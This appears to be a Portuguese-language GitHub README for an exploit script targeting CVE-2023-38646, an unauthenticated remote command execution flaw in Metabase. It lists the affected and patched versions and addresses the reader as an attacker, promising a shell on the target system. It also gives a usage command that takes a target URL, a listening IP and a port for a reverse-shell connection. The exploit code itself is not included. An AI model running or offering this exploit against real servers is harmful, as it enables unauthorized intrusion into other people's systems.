birdm4nw/cve-2023-38646Este script foi projetado para explorar versões vulneráveis do software Metabase, fornecendo a você, como atacante, um shell.
As versões do Metabase open source anteriores a 0.46.6.1 e do Metabase Enterprise anteriores a 1.46.6.1 permitem que atacantes executem comandos arbitrários no servidor, com o mesmo nível de privilégio do servidor. Não é necessária autenticação para exploração. As outras versões corrigidas são 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 e 1.43.7.2.
Se a versão do Metabase for vulnerável, este script permitirá que você, como atacante, obtenha uma conexão shell no sistema alvo.
python3 CVE-2023-38646.py -u targetURL -lhost LISTEN_IP -lport LISTEN_PORT
Autor: @birdm4nw